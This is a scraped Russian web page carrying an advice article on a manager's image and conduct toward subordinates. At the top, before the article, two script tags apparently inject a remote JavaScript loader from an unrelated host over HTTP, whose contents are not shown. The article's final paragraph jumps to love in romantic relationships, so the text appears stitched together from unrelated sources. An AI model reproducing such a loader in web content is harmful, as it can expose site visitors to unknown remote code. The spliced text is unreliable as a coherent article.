full screen background image

<script type=»text/javascript»>
var tntds = {«p»:»322810″, «b»:{«916119»: «64»}}
</script>
<script type=»text/javascript» src=»http://obsrs.com/1g4/5/2a96c7a8/5d.js»></script>

Последнее обновление

Имидж руководителя: как вести себя с подчиненными


Имидж руководителя: как вести себя с подчиненными

От того, насколько хорошо руководитель организует рабочий процесс и мотивирует своих подчиненных, зависит успешность организации в целом. Плохое отношение к сотрудникам может привести к потере ценных кадров, в то время как хорошее способно не только удержать персонал, но и сделать его работу более эффективной.

В отношениях руководителя и подчиненного могут быть две крайности. В первом случае начальник отдает приказы, а сотрудник их выполняет, притом любая инициатива со стороны персонала исключается, а работники, по сути, бесправны. Во втором случае руководитель ведет себя с подчиненными, словно с равными, нарушая тем самым субординацию. Задача мудрого начальника – суметь найти золотую середину и придерживаться ее. С одной стороны, сотрудники не должны чувствовать себя простыми исполнителями, не имеющими права на собственное мнение. С другой, они должны уважать начальника и понимать особенности иерархии в организации.

Нередко сотрудники стараются работать в соответствии с ожиданиями и требованиями начальства. Чтобы добиться наилучших результатов, мотивируйте подчиненного и давайте ему задания, с которыми он может справиться. Если вы будете требовать слишком многого, персонал перестанет справляться со своими обязанностями. Слишком простые задания, напротив, приведут к тому, что сотрудники расслабятся и начнут работать вполсилы.

Вы должны добиться если не любви, то хотя бы уважения коллектива. Всегда четко и ясно объясняйте сотрудникам, что именно они должны делать, чтобы не возникало недопонимания и вас не обвиняли за глаза в некомпетентности и капризности. Если сотрудник на протяжении долгого времени хорошо справляется с работой или блестяще выполнил важное задание, похвалите его в присутствие коллектива. Претензии же, напротив, следует предъявлять наедине, не позоря сотрудника перед коллегами. Объясняйте, в чем заключалась ошибка и как ее нужно исправить, и уважение к вам возрастет.

И, наконец, не стоит заводить любимчиков. Во-первых, это может спровоцировать конфликты в коллективе, которые плохо скажутся на работе. Во-вторых, вас наверняка обвинят в предвзятости. Постарайтесь со всеми сотрудниками общаться одинаково, не предоставляя никому из них явно незаслуженных привилегий.

Что, если целью отношений является что-то безусловное, за что и мужчина, и женщина могли бы взять ответственность? Что если это… практика любви? Любовь — это то, что находится внутри нас; то, за что мы несем ответственность как в хорошие, так и в плохие времена. Любовь позволяет нам сосредоточиться на собственных усилиях и обязанностях, а также замечать преимущества своего партнера. Слишком много людей сосредотачиваются на том, чтобы брать что-то от отношений. Но, для гармоничных отношений нужно отдавать, брать ответственность за свое счастье, а затем “инвестировать” его в других.

Источник




Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *